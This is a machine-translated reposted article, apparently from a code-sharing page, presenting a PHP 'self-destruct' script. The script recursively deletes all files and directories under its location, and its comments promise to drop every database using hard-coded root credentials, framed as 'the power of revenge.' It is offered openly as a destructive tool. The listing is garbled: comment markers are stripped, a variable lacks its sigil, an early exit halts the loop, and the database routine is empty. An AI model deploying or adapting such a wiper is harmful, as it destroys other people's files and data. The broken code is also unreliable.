PHP Self-Destruct program (use caution)

Source: Internet
Author: User

This article describes the PHP self-destruct program. Share to everyone for your reference. The implementation method is as follows:

  1. // +----------------------------------------------------------------------
  2. // | kill!!
  3. // | The program will erase all files and directories in this directory
  4. // | If you set up database information, try to delete all database and table data (provided the permissions are sufficient!). )
  5. // +----------------------------------------------------------------------
  6. // | Version: $Id $
  7. // +----------------------------------------------------------------------
  8. ----------the database Configuration area-----------------
  9. The power of revenge is very scary, so no need to specify the database, all deleted!
  10. Define (' Db_user ', ' root ');
  11. Define (' Db_pwd ', ' root ');
  12. Define (' db_host ', ' localhost ');
  13. Define (' Db_port ', ' 3216 ');
  14. Define (' Db_damage ', true); When false, do not touch the database
  15. Run ();
  16. /**
  17. * Subject thought must be glorious and great!
  18. *
  19. * @return void
  20. **/
  21. function Run ()
  22. {
  23. deleting files
  24. Deletedir ();
  25. Deleting a database
  26. Deletedb ();
  27. }
  28. /**
  29. * hehe, delete all files in current directory (recursive)
  30. *
  31. * @return void
  32. **/
  33. function Deletedir ($dir = ") {
  34. if ($dir = = ") {
  35. $dir = Realpath ('. ');
  36. }
  37. Echo $dir;
  38. Exit ();
  39. if (!handle= @opendir ($dir)) {
  40. Detects whether the directory to open exists
  41. Die ("No such directory");
  42. }
  43. while (False!== ($file =readdir ($handle))) {
  44. if ($file!== "." && $file!== "..") {
  45. Exclude current directory from parent directory
  46. $file = $dir. Directory_separator. $file;
  47. if (Is_dir ($file)) {
  48. Deletedir ($file);
  49. }else{
  50. if (@unlink ($file)) {
  51. echo "File $file deleted successfully.
    ";
  52. }else{
  53. echo "File $file Delete failed!
    ";
  54. }
  55. }
  56. }
  57. if (@rmdir ($dir)) {
  58. echo "Directory $dir deleted successfully.
    \ n ";
  59. }else{
  60. echo "Directory $dir Delete failed!
    \ n ";
  61. }
  62. }
  63. /**
  64. * Hehe, delete the database
  65. *
  66. * @return void
  67. **/
  68. function Deletedb ()
  69. {
  70. if (Db_damage = = = True) {
  71. Start
  72. }
  73. }
Copy Code

I hope this article is helpful to everyone's PHP programming.

Php
  • Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.